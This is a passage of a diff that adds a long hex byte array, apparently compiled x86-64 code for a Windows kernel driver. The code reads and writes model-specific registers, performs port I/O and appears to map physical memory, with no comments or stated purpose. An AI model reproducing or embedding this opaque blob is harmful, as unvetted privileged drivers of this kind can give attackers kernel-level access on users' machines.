0xC8, 0x48, 0x89, 0x7C, 0x24, 0x28, 0x4C, 0x8B, + 0xC6, 0x44, 0x89, 0x74, 0x24, 0x20, 0xE8, 0x1D, 0x02, 0x00, 0x00, 0xE9, + 0xA1, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0xCF, 0x45, 0x8B, 0xC6, 0x8B, 0xD5, + 0x48, 0x8B, 0xCE, 0xE8, 0x24, 0x05, 0x00, 0x00, 0xE9, 0x8C, 0x00, 0x00, + 0x00, 0x8B, 0xC1, 0x2D, 0x50, 0x93, 0x22, 0x00, 0x74, 0x6B, 0x83, 0xE8, + 0x04, 0x74, 0x48, 0x83, 0xE8, 0x24, 0x74, 0x2F, 0x83, 0xE8, 0x08, 0x74, + 0x1B, 0x83, 0xF8, 0x04, 0x74, 0x07, 0xBB, 0x02, 0x00, 0x00, 0xC0, 0xEB, + 0x6A, 0x4C, 0x8B, 0xC7, 0x8B, 0xD5, 0x48, 0x8B, 0xCE, 0xE8, 0xAE, 0x07, + 0x00, 0x00, 0xEB, 0x59, 0x4C, 0x8B, 0xC7, 0x8B, 0xD5, 0x48, 0x8B, 0xCE, + 0xE8, 0xCF, 0x07, 0x00, 0x00, 0xEB, 0x4A, 0x49, 0x8B, 0x4D, 0x30, 0x4C, + 0x8B, 0xCF, 0x44, 0x8B, 0xC5, 0x48, 0x8B, 0xD6, 0xE8, 0xCB, 0x06, 0x00, + 0x00, 0xEB, 0x36, 0x81, 0xF9, 0x54, 0x93, 0x22, 0x00, 0x48, 0x89, 0x7C, + 0x24, 0x20, 0x45, 0x8B, 0xCE, 0x44, 0x8B, 0xC5, 0x0F, 0x94, 0xC2, 0x48, + 0x8B, 0xCE, 0xE8, 0x29, 0x06, 0x00, 0x00, 0xEB, 0x18, 0x3B, 0xCA, 0x0F, + 0x94, 0xC2, 0x48, 0x89, 0x7C, 0x24, 0x20, 0x45, 0x8B, 0xCE, 0x44, 0x8B, + 0xC5, 0x48, 0x8B, 0xCE, 0xE8, 0x03, 0x05, 0x00, 0x00, 0x8B, 0xD8, 0x33, + 0xD2, 0x41, 0x89, 0x5F, 0x30, 0x49, 0x8B, 0xCF, 0xFF, 0x15, 0x1E, 0x0E, + 0x00, 0x00, 0x48, 0x8B, 0x6C, 0x24, 0x58, 0x8B, 0xC3, 0x48, 0x8B, 0x5C, + 0x24, 0x50, 0x48, 0x8B, 0x74, 0x24, 0x60, 0x48, 0x8B, 0x7C, 0x24, 0x68, + 0x48, 0x83, 0xC4, 0x30, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0xC3, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8B, + 0xD9, 0x48, 0x8D, 0x0D, 0x50, 0x20, 0x00, 0x00, 0xFF, 0x15, 0xAA, 0x0D, + 0x00, 0x00, 0x66, 0x83, 0x3D, 0xC2, 0x1D, 0x00, 0x00, 0x00, 0x74, 0x1D, + 0x48, 0x8D, 0x15, 0xB9, 0x1D, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, + 0xFF, 0x15, 0x46, 0x0D, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xFF, + 0x15, 0xDB, 0x0D, 0x00, 0x00, 0x48, 0x8B, 0x4B, 0x08, 0x48, 0x83, 0xC4, + 0x30, 0x5B, 0x48, 0xFF, 0x25, 0xC3, 0x0D, 0x00, 0x00, 0xCC, 0xCC, 0xCC, + 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, + 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, 0xEC, + 0x20, 0x48, 0x8B, 0x1D, 0xA8, 0x1F, 0x00, 0x00, 0x4C, 0x8D, 0x35, 0xA1, + 0x1F, 0x00, 0x00, 0x49, 0x8B, 0xF8, 0x48, 0x8B, 0xF2, 0x48, 0x8B, 0xE9, + 0xEB, 0x19, 0x4C, 0x8B, 0xC7, 0x48, 0x8B, 0xD6, 0x48, 0x8B, 0xCB, 0x48, + 0x8B, 0xC5, 0xFF, 0x15, 0xD4, 0x0D, 0x00, 0x00, 0x84, 0xC0, 0x75, 0x25, + 0x48, 0x8B, 0x1B, 0x49, 0x3B, 0xDE, 0x75, 0xE2, 0x33, 0xC0, 0x48, 0x8B, + 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, + 0x40, 0x48, 0x8B, 0x7C, 0x24, 0x48, 0x48, 0x83, 0xC4, 0x20, 0x41, 0x5E, + 0xC3, 0x48, 0x8B, 0xC3, 0xEB, 0xE0, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, + 0xEC, 0x20, 0x48, 0x8B, 0x51, 0x38, 0x48, 0x8B, 0xD9, 0x48, 0x8B, 0x49, + 0x30, 0xFF, 0x15, 0x6D, 0x0D, 0x00, 0x00, 0x48, 0x8B, 0x4B, 0x38, 0xFF, + 0x15, 0x3B, 0x0D, 0x00, 0x00, 0x8B, 0x53, 0x28, 0x48, 0x8B, 0x4B, 0x20, + 0xFF, 0x15, 0xF6, 0x0C, 0x00, 0x00, 0xFF, 0x05, 0x84, 0x1F, 0x00, 0x00, + 0x48, 0x8D, 0x0D, 0x61, 0x1F, 0x00, 0x00, 0xFF, 0x15, 0x9B, 0x0C, 0x00, + 0x00, 0x66, 0x3B, 0x05, 0x64, 0x1F, 0x00, 0x00, 0x72, 0x1C, 0xFF, 0x05, + 0x6C, 0x1F, 0x00, 0x00, 0x48, 0x8B, 0xCB, 0x48, 0x8B, 0x05, 0x7A, 0x1F, + 0x00, 0x00, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0x48, 0xFF, 0x25, 0x3E, 0x0D, + 0x00, 0x00, 0x48, 0x8B, 0xD3, 0x48, 0x8D, 0x0D, 0x2C, 0x1F, 0x00, 0x00, + 0x48, 0x83, 0xC4, 0x20, 0x5B, 0x48, 0xFF, 0x25, 0x70, 0x0C, 0x00, 0x00, + 0x48, 0x8B, 0xC4, 0x4C, 0x89, 0x40, 0x18, 0x48, 0x89, 0x50, 0x10, 0x89, + 0x48, 0x08, 0x53, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, + 0x57, 0x48, 0x83, 0xEC, 0x50, 0x49, 0x8B, 0xF0, 0x8B, 0xF9, 0x41, 0x83, + 0xF9, 0x0C, 0x0F, 0x82, 0x67, 0x02, 0x00, 0x00, 0x83, 0xBC, 0x24, 0xB0, + 0x00, 0x00, 0x00, 0x08, 0x0F, 0x82, 0x59, 0x02, 0x00, 0x00, 0x33, 0xDB, + 0x48, 0x89, 0x58, 0x98, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0x33, 0xD2, + 0x48, 0x8D, 0x0D, 0x51, 0x1E, 0x00, 0x00, 0xFF, 0x15, 0x03, 0x0C, 0x00, + 0x00, 0x44, 0x8B, 0xC7, 0x48, 0x8B, 0x16, 0x48, 0x8D, 0x0D, 0x6E, 0x02, + 0x00, 0x00, 0xE8, 0xA9, 0xFE, 0xFF, 0xFF, 0x48, 0x8B, 0xC8, 0x48, 0x85, + 0xC0, 0x74, 0x1E, 0xFF, 0x40, 0x40, 0x48, 0x8B, 0x84, 0x24, 0xB8, 0x00, + 0x00, 0x00, 0x48, 0xC7, 0x00, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x41, + 0x30, 0x48, 0x89, 0x06, 0xE9, 0x5B, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x0E, + 0x8B, 0x56, 0x08, 0x45, 0x33, 0xC0, 0xFF, 0x15, 0x04, 0x0C, 0x00, 0x00, + 0x4C, 0x8B, 0xF8, 0x48, 0x89, 0x44, 0x24, 0x40, 0x48, 0x85, 0xC0, 0x0F, + 0x84, 0x36, 0x01, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x20, 0x45, 0x33, + 0xC9, 0x45, 0x33, 0xC0, 0x8B, 0x56, 0x08, 0x48, 0x8B, 0xC8, 0xFF, 0x15, + 0xEC, 0x0B, 0x00, 0x00, 0x4C, 0x8B, 0xF0, 0x48, 0x89, 0x44, 0x24, 0x48, + 0x48, 0x85, 0xC0, 0x75, 0x16, 0x8B, 0x56, 0x08, 0x49, 0x8B, 0xCF, 0xFF, + 0x15, 0xCB, 0x0B, 0x00, 0x00, 0xBB, 0x9A, 0x00, 0x00, 0xC0, 0xE9, 0x01, + 0x01, 0x00, 0x00, 0x49, 0x8B, 0xCE, 0xFF, 0x15, 0x98, 0x0B, 0x00, 0x00, + 0x48, 0x89, 0x5C, 0x24, 0x38, 0x8B, 0x05, 0x69, 0x1B, 0x00, 0x00, 0x83, + 0xC8, 0x20, 0x89, 0x44, 0x24, 0x28, 0x89, 0x5C, 0x24, 0x20, 0x45, 0x33, + 0xC9, 0x45, 0x33, 0xC0, 0xB2, 0x01, 0x49, 0x8B, 0xCE, 0xFF, 0x15, 0x79, + 0x0B, 0x00, 0x00, 0x45, 0x8B, 0x6E, 0x2C, 0x48, 0x25, 0x00, 0xF0, 0xFF, + 0xFF, 0x4C, 0x03, 0xE8, 0x4C, 0x89, 0x6C, 0x24, 0x38, 0x44, 0x8B, 0xE3, + 0xB8, 0x9A, 0x00, 0x00, 0xC0, 0x44, 0x0F, 0x44, 0xE0, 0x44, 0x89, 0x64, + 0x24, 0x30, 0xEB, 0x1E, 0x44, 0x8B, 0xE0, 0x89, 0x44, 0x24, 0x30, 0x48, + 0x8B, 0xB4, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0x7C, 0x24, 0x40, + 0x4C, 0x8B, 0x74, 0x24, 0x48, 0x4C, 0x8B, 0x6C, 0x24, 0x38, 0x45, 0x85, + 0xE4, 0x79, 0x1A, 0x49, 0x8B, 0xCE, 0xFF, 0x15, 0x78, 0x0B, 0x00, 0x00, + 0x8B, 0x56, 0x08, 0x49, 0x8B, 0xCF, 0xFF, 0x15, 0x34, 0x0B, 0x00, 0x00, + 0xE9, 0x06, 0x01, 0x00, 0x00, 0xFF, 0x05, 0xB5, 0x1D, 0x00, 0x00, 0x48, + 0x8D, 0x0D, 0x9A, 0x1D, 0x00, 0x00, 0xFF, 0x15, 0xDC, 0x0A, 0x00, 0x00, + 0x48, 0x8B, 0xF8, 0x48, 0x85, 0xC0, 0x75, 0x29, 0xFF, 0x05, 0x9E, 0x1D, + 0x00, 0x00, 0x8B, 0x15, 0xAC, 0x1D, 0x00, 0x00, 0x48, 0x8B, 0x05, 0xA9, + 0x1D, 0x00, 0x00, 0x44, 0x8B, 0x05, 0x9A, 0x1D, 0x00, 0x00, 0x8B, 0x0D, + 0x90, 0x1D, 0x00, 0x00, 0xFF, 0x15, 0x6E, 0x0B, 0x00, 0x00, 0x48, 0x8B, + 0xF8, 0x48, 0x85, 0xFF, 0x75, 0x3C, 0x49, 0x8B, 0xD6, 0x49, 0x8B, 0xCD, + 0xFF, 0x15, 0x3A, 0x0B, 0x00, 0x00, 0x49, 0x8B, 0xCE, 0xFF, 0x15, 0x09, + 0x0B, 0x00, 0x00, 0x8B, 0x56, 0x08, 0x49, 0x8B, 0xCF, 0xFF, 0x15, 0xC5, + 0x0A, 0x00, 0x00, 0xBB, 0x17, 0x00, 0x00, 0xC0, 0x33, 0xD2, 0x48, 0x8D, + 0x0D, 0xAF, 0x1C, 0x00, 0x00, 0xFF, 0x15, 0x59, 0x0A, 0x00, 0x00, 0x8B, + 0xC3, 0xE9, 0x9A, 0x00, 0x00, 0x00, 0x33, 0xD2, 0x44, 0x8D, 0x42, 0x48, + 0x48, 0x8B, 0xCF, 0xE8, 0x54, 0x08, 0x00, 0x00, 0x48, 0x8B, 0x84, 0x24, + 0x98, 0x00, 0x00, 0x00, 0x48, 0x89, 0x47, 0x10, 0x8B, 0x46, 0x08, 0x89, + 0x47, 0x28, 0x48, 0x8B, 0x06, 0x48, 0x89, 0x47, 0x18, 0x4C, 0x89, 0x7F, + 0x20, 0x4C, 0x89, 0x6F, 0x30, 0x4C, 0x89, 0x77, 0x38, 0xC7, 0x47, 0x40, + 0x01, 0x00, 0x00, 0x00, 0x8B, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00, 0x89, + 0x47, 0x2C, 0x48, 0x8B, 0x05, 0x97, 0x1C, 0x00, 0x00, 0x48, 0x8D, 0x0D, + 0x88, 0x1C, 0x00, 0x00, 0x48, 0x39, 0x08, 0x74, 0x07, 0xB9, 0x03, 0x00, + 0x00, 0x00, 0xCD, 0x29, 0x48, 0x89, 0x0F, 0x48, 0x89, 0x47, 0x08, 0x48, + 0x89, 0x38, 0x48, 0x89, 0x3D, 0x73, 0x1C, 0x00, 0x00, 0x48, 0x8B, 0x8C, + 0x24, 0xB8, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x01, 0x08, 0x00, 0x00, 0x00, + 0x4C, 0x89, 0x2E, 0x33, 0xD2, 0x48, 0x8D, 0x0D, 0x18, 0x1C, 0x00, 0x00, + 0xFF, 0x15, 0xC2, 0x09, 0x00, 0x00, 0x41, 0x8B, 0xC4, 0xEB, 0x05, 0xB8, + 0x23, 0x00, 0x00, 0xC0, 0x48, 0x83, 0xC4, 0x50, 0x41, 0x5F, 0x41, 0x5E, + 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0x5E, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x39, 0x51, 0x10, 0x75, 0x09, 0x4C, 0x39, + 0x41, 0x30, 0x75, 0x03, 0xB0, 0x01, 0xC3, 0x32, 0xC0, 0xC3, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x48, 0x39, 0x51, 0x18, 0x75, 0x09, 0x44, 0x39, 0x41, 0x2C, 0x75, 0x03, + 0xB0, 0x01, 0xC3, 0x32, 0xC0, 0xC3, 0xCC, 0xCC, 0x4C, 0x8B, 0xD1, 0x83, + 0xFA, 0x04, 0x73, 0x06, 0xB8, 0x23, 0x00, 0x00, 0xC0, 0xC3, 0x41, 0x83, + 0xF8, 0x08, 0x72, 0xF4, 0x45, 0x33, 0xC0, 0x8B, 0x09, 0x0F, 0x32, 0x48, + 0xC1, 0xE2, 0x20, 0x48, 0x0B, 0xC2, 0x49, 0x89, 0x02, 0x49, 0xC7, 0x01, + 0x08, 0x00, 0x00, 0x00, 0xEB, 0x03, 0x44, 0x8B, 0xC0, 0x41, 0x8B, 0xC0, + 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, + 0xEC, 0x30, 0x49, 0x8B, 0xF9, 0x83, 0xFA, 0x14, 0x72, 0x4C, 0x8B, 0x59, + 0x10, 0x44, 0x3B, 0xC3, 0x72, 0x44, 0x44, 0x8B, 0x41, 0x08, 0x4C, 0x8B, + 0xC9, 0x8B, 0x41, 0x04, 0x41, 0x83, 0xE0, 0x07, 0x8B, 0x11, 0x83, 0xE0, + 0x1F, 0x41, 0xC1, 0xE0, 0x05, 0x44, 0x0B, 0xC0, 0x89, 0x5C, 0x24, 0x28, + 0x8B, 0x41, 0x0C, 0xB9, 0x04, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x20, + 0xFF, 0x15, 0xC2, 0x08, 0x00, 0x00, 0x8B, 0xC8, 0x48, 0x89, 0x0F, 0x48, + 0x2B, 0xCB, 0x48, 0xF7, 0xD9, 0x1B, 0xC0, 0x25, 0x0D, 0x00, 0x00, 0xC0, + 0xEB, 0x05, 0xB8, 0x23, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x40, + 0x48, 0x83, 0xC4, 0x30, 0x5F, 0xC3, 0xCC, 0xCC, 0x48, 0x8B, 0xC4, 0x48, + 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, + 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, 0xEC, 0x30, 0x40, 0x8A, 0xEA, + 0x48, 0x8B, 0xF9, 0x41, 0x83, 0xF8, 0x0A, 0x0F, 0x82, 0xC0, 0x00, 0x00, + 0x00, 0xF2, 0x0F, 0x10, 0x01, 0x0F, 0xB7, 0x71, 0x08, 0xF2, 0x0F, 0x11, + 0x40, 0xE8, 0x84, 0xD2, 0x75, 0x0C, 0x0F, 0xB7, 0xC6, 0x44, 0x3B, 0xC8, + 0x0F, 0x82, 0xA3, 0x00, 0x00, 0x00, 0x8B, 0x4C, 0x24, 0x20, 0x45, 0x33, + 0xC0, 0x44, 0x0F, 0xB7, 0xF6, 0x41, 0x8B, 0xD6, 0xFF, 0x15, 0xBA, 0x08, + 0x00, 0x00, 0x4C, 0x8B, 0xC0, 0x48, 0x85, 0xC0, 0x75, 0x0A, 0xB8, 0x17, + 0x00, 0x00, 0xC0, 0xE9, 0x82, 0x00, 0x00, 0x00, 0x33, 0xDB, 0x0F, 0xB7, + 0xCE, 0x40, 0x84, 0xED, 0x74, 0x2F, 0x83, 0xE9, 0x01, 0x74, 0x1D, 0x83, + 0xE9, 0x01, 0x74, 0x0E, 0x83, 0xF9, 0x02, 0x75, 0x2F, 0x8B, 0x44, 0x24, + 0x24, 0x41, 0x89, 0x00, 0xEB, 0x11, 0x8B, 0x44, 0x24, 0x24, 0x66, 0x41, + 0x89, 0x00, 0xEB, 0x07, 0x8B, 0x44, 0x24, 0x24, 0x41, 0x88, 0x00, 0xF0, + 0x09, 0x1C, 0x24, 0xEB, 0x28, 0x83, 0xE9, 0x01, 0x74, 0x1F, 0x83, 0xE9, + 0x01, 0x74, 0x12, 0x83, 0xF9, 0x02, 0x74, 0x07, 0xBB, 0x0D, 0x00, 0x00, + 0xC0, 0xEB, 0x12, 0x8B, 0x00, 0x89, 0x07, 0xEB, 0x0C, 0x0F, 0xB7, 0x00, + 0x66, 0x89, 0x07, 0xEB, 0x04, 0x8A, 0x08, 0x88, 0x0F, 0x49, 0x8B, 0xD6, + 0x49, 0x8B, 0xC8, 0xFF, 0x15, 0x43, 0x08, 0x00, 0x00, 0x85, 0xDB, 0x78, + 0x08, 0x48, 0x8B, 0x4C, 0x24, 0x60, 0x4C, 0x89, 0x31, 0x8B, 0xC3, 0xEB, + 0x05, 0xB8, 0x23, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x40, 0x48, + 0x8B, 0x6C, 0x24, 0x48, 0x48, 0x8B, 0x74, 0x24, 0x50, 0x48, 0x8B, 0x7C, + 0x24, 0x58, 0x48, 0x83, 0xC4, 0x30, 0x41, 0x5E, 0xC3, 0xCC, 0xCC, 0xCC, + 0x41, 0x83, 0xF8, 0x0A, 0x72, 0x76, 0x44, 0x0F, 0xB7, 0x41, 0x08, 0x84, + 0xD2, 0x74, 0x2C, 0x41, 0x83, 0xE8, 0x01, 0x74, 0x1E, 0x41, 0x83, 0xE8, + 0x01, 0x74, 0x0E, 0x41, 0x83, 0xF8, 0x02, 0x75, 0x31, 0x8B, 0x41, 0x04, + 0x8B, 0x11, 0xEF, 0xEB, 0x10, 0x0F, 0xB7, 0x41, 0x04, 0x8B, 0x11, 0x66, + 0xEF, 0xEB, 0x06, 0x8A, 0x41, 0x04, 0x8B, 0x11, 0xEE, 0xEB, 0x32, 0x45, + 0x3B, 0xC8, 0x72, 0x3C, 0x41, 0x83, 0xE8, 0x01, 0x74, 0x22, 0x41, 0x83, + 0xE8, 0x01, 0x74, 0x13, 0x41, 0x83, 0xF8, 0x02, 0x74, 0x06, 0xB8, 0x0D, + 0x00, 0x00, 0xC0, 0xC3, 0x8B, 0x11, 0xED, 0x89, 0x01, 0xEB, 0x0E, 0x8B, + 0x11, 0x66, 0xED, 0x66, 0x89, 0x01, 0xEB, 0x05, 0x8B, 0x11, 0xEC, 0x88, + 0x01, 0x48, 0x8B, 0x44, 0x24, 0x28, 0x0F, 0xB7, 0x49, 0x08, 0x48, 0x89, + 0x08, 0x33, 0xC0, 0xC3, 0xB8, 0x23, 0x00, 0x00, 0xC0, 0xC3, 0xCC, 0xCC, + 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, 0x24, 0x10, 0x48, 0x89, + 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x49, 0x8B, 0xF9, 0x48, + 0x8B, 0xF2, 0x48, 0x8B, 0xE9, 0x41, 0x83, 0xF8, 0x08, 0x73, 0x07, 0xB8, + 0x23, 0x00, 0x00, 0xC0, 0xEB, 0x79, 0x33, 0xDB, 0x48, 0x8D, 0x0D, 0x51, + 0x19, 0x00, 0x00, 0x45, 0x33, 0xC9, 0x48, 0x89, 0x5C, 0x24, 0x20, 0x45, + 0x33, 0xC0, 0x33, 0xD2, 0xFF, 0x15, 0xF6, 0x06, 0x00, 0x00, 0x4C, 0x8B, + 0x06, 0x48, 0x8D, 0x0D, 0x44, 0xFD, 0xFF, 0xFF, 0x48, 0x8B, 0xD5, 0xE8, + 0x9C, 0xF9, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x75, 0x07, 0xBB, 0x25, 0x02, + 0x00, 0xC0, 0xEB, 0x2E, 0x83, 0x40, 0x40, 0xFF, 0x75, 0x21, 0x48, 0x8B, + 0x08, 0x48, 0x39, 0x41, 0x08, 0x75, 0x45, 0x48, 0x8B, 0x50, 0x08, 0x48, + 0x39, 0x02, 0x75, 0x3C, 0x48, 0x89, 0x0A, 0x48, 0x89, 0x51, 0x08, 0x48, + 0x8B, 0xC8, 0xE8, 0xDD, 0xF9, 0xFF, 0xFF, 0x48, 0xC7, 0x07, 0x08, 0x00, + 0x00, 0x00, 0x33, 0xD2, 0x48, 0x8D, 0x0D, 0xE9, 0x18, 0x00, 0x00, 0xFF, + 0x15, 0x93, 0x06, 0x00, 0x00, 0x8B, 0xC3, 0x48, 0x8B, 0x5C, 0x24, 0x40, + 0x48, 0x8B, 0x6C, 0x24, 0x48, 0x48, 0x8B, 0x74, 0x24, 0x50, 0x48, 0x83, + 0xC4, 0x30, 0x5F, 0xC3, 0xB9, 0x03, 0x00, 0x00, 0x00, 0xCD, 0x29, 0xCC, + 0x4D, 0x8B, 0xC8, 0x83, 0xFA, 0x0C, 0x73, 0x06, 0xB8, 0x23, 0x00, 0x00, + 0xC0, 0xC3, 0x45, 0x33, 0xC0, 0x48, 0x8B, 0x51, 0x04, 0x48, 0x8B, 0xC2, + 0x48, 0xC1, 0xEA, 0x20, 0x8B, 0x09, 0x0F, 0x30, 0x49, 0xC7, 0x01, 0x08, + 0x00, 0x00, 0x00, 0xEB, 0x03, 0x44, 0x8B, 0xC0, 0x41, 0x8B, 0xC0, 0xC3, + 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x49, 0x8B, + 0xF8, 0x48, 0x8B, 0xD9, 0x83, 0xFA, 0x14, 0x72, 0x56, 0x8B, 0x49, 0x10, + 0x8B, 0xC2, 0x4C, 0x8D, 0x49, 0x14, 0x49, 0x3B, 0xC1, 0x72, 0x48, 0x44, + 0x8B, 0x43, 0x08, 0x4C, 0x8D, 0x4B, 0x14, 0x8B, 0x43, 0x04, 0x41, 0x83, + 0xE0, 0x07, 0x8B, 0x13, 0x83, 0xE0, 0x1F, 0x89, 0x4C, 0x24, 0x28, 0xB9, + 0x04, 0x00, 0x00, 0x00, 0x41, 0xC1, 0xE0, 0x05, 0x44, 0x0B, 0xC0, 0x8B, + 0x43, 0x0C, 0x89, 0x44, 0x24, 0x20, 0xFF, 0x15, 0xC0, 0x05, 0x00, 0x00, + 0x8B, 0xC8, 0x48, 0x89, 0x0F, 0x8B, 0x43, 0x10, 0x48, 0x2B, 0xC8, 0x48, + 0xF7, 0xD9, 0x1B, 0xC0, 0x25, 0x0D, 0x00, 0x00, 0xC0, 0xEB, 0x05, 0xB8, + 0x23, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x40, 0x48, 0x83, 0xC4, + 0x30, 0x5F, 0xC3, 0xCC, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x10, 0x48, + 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x55, 0x41, 0x54, 0x41, 0x56, + 0x48, 0x8D, 0xA8, 0x38, 0xFE, 0xFF, 0xFF, 0x48, 0x81, 0xEC, 0xB0, 0x02, + 0x00, 0x00, 0x48, 0x8B, 0x05, 0x6F, 0x15, 0x00, 0x00, 0x48, 0x33, 0xC4, + 0x48, 0x89, 0x85, 0xA0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xF9, 0xC7, 0x45, + 0x80, 0x14, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x4D, 0x80, 0xFF, 0x15, 0x71, + 0x05, 0x00, 0x00, 0x45, 0x33, 0xE4, 0x85, 0xC0, 0x78, 0x22, 0x83, 0x7D, + 0x84, 0x06, 0x77, 0x08, 0x75, 0x1A, 0x83, 0x7D, 0x88, 0x02, 0x72, 0x14, + 0xC7, 0x05, 0x72, 0x15, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0xC7, 0x05, + 0x6C, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x0F, 0x10, 0x47, 0x38, + 0x48, 0x8D, 0x15, 0x4D, 0x04, 0x00, 0x00, 0x48, 0x83, 0xCB, 0xFF, 0xF3, + 0x0F, 0x7F, 0x44, 0x24, 0x48, 0x48, 0xFF, 0xC3, 0x66, 0x44, 0x39, 0x24, + 0x5A, 0x75, 0xF6, 0x0F, 0xB7, 0x74, 0x24, 0x48, 0x0F, 0xB7, 0xC6, 0x66, + 0xD1, 0xE8, 0x66, 0x3B, 0xD8, 0x73, 0x05, 0x0F, 0xB7, 0xC3, 0xEB, 0x05, + 0x0F, 0xB7, 0xC6, 0xD1, 0xE8, 0x4C, 0x8B, 0x74, 0x24, 0x50, 0x49, 0x8B, + 0xCE, 0x44, 0x8B, 0xC0, 0xE8, 0x3B, 0x02, 0x00, 0x00, 0x85, 0xC0, 0x75, + 0x12, 0xB8, 0xFE, 0xFF, 0x00, 0x00, 0x0F, 0xB7, 0xCB, 0x0F, 0xAF, 0xC8, + 0x4D, 0x8D, 0x34, 0x5E, 0x66, 0x03, 0xF1, 0x4C, 0x8D, 0x05, 0x12, 0x04, + 0x00, 0x00, 0xBA, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0xA0, 0x00, + 0x00, 0x00, 0xE8, 0x01, 0x02, 0x00, 0x00, 0x0F, 0xB7, 0xDE, 0x48, 0x8D, + 0x8D, 0xA0, 0x00, 0x00, 0x00, 0x48, 0xD1, 0xEB, 0x4D, 0x8B, 0xC6, 0x4C, + 0x8B, 0xCB, 0xBA, 0x80, 0x00, 0x00, 0x00, 0xE8, 0xEA, 0x01, 0x00, 0x00, + 0x48, 0x8D, 0x95, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x58, + 0xFF, 0x15, 0x9A, 0x04, 0x00, 0x00, 0xBE, 0x00, 0x01, 0x00, 0x00, 0x4C, + 0x8D, 0x05, 0xE6, 0x03, 0x00, 0x00, 0x8B, 0xD6, 0x48, 0x8D, 0x0D, 0xED, + 0x14, 0x00, 0x00, 0xE8, 0xB8, 0x01, 0x00, 0x00, 0x4C, 0x8B, 0xCB, 0x48, + 0x8D, 0x0D, 0xDE, 0x14, 0x00, 0x00, 0x4D, 0x8B, 0xC6, 0x8B, 0xD6, 0xE8, + 0xAA, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x15, 0xCD, 0x14, 0x00, 0x00, 0x48, + 0x8D, 0x4C, 0x24, 0x68, 0xFF, 0x15, 0x5A, 0x04, 0x00, 0x00, 0x48, 0x8D, + 0x44, 0x24, 0x40, 0x4C, 0x89, 0x64, 0x24, 0x40, 0x48, 0x89, 0x44, 0x24, + 0x30, 0x4C, 0x8D, 0x44, 0x24, 0x58, 0x44, 0x88, 0x64, 0x24, 0x28, 0x41, + 0xB9, 0x22, 0x00, 0x00, 0x00, 0x33, 0xD2, 0x44, 0x89, 0x64, 0x24, 0x20, + 0x48, 0x8B, 0xCF, 0xFF, 0x15, 0xB3, 0x04, 0x00, 0x00, 0x85, 0xC0, 0x0F, + 0x88, 0xB0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x58, 0x48, 0x8D, + 0x4C, 0x24, 0x68, 0xFF, 0x15, 0xA3, 0x04, 0x00, 0x00, 0x8B, 0xD8, 0x85, + 0xC0, 0x79, 0x12, 0x48, 0x8B, 0x4C, 0x24, 0x40, 0xFF, 0x15, 0x9A, 0x04, + 0x00, 0x00, 0x8B, 0xC3, 0xE9, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x05, + 0xAC, 0xF4, 0xFF, 0xFF, 0x33, 0xD2, 0x48, 0x89, 0x47, 0x70, 0x48, 0x8D, + 0x0D, 0x4F, 0x16, 0x00, 0x00, 0x48, 0x8D, 0x05, 0xC8, 0xF3, 0xFF, 0xFF, + 0x48, 0x89, 0x87, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x05, 0xAA, 0xF4, + 0xFF, 0xFF, 0x48, 0x89, 0x87, 0xE0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x05, + 0x4C, 0xF6, 0xFF, 0xFF, 0x48, 0x89, 0x47, 0x68, 0x48, 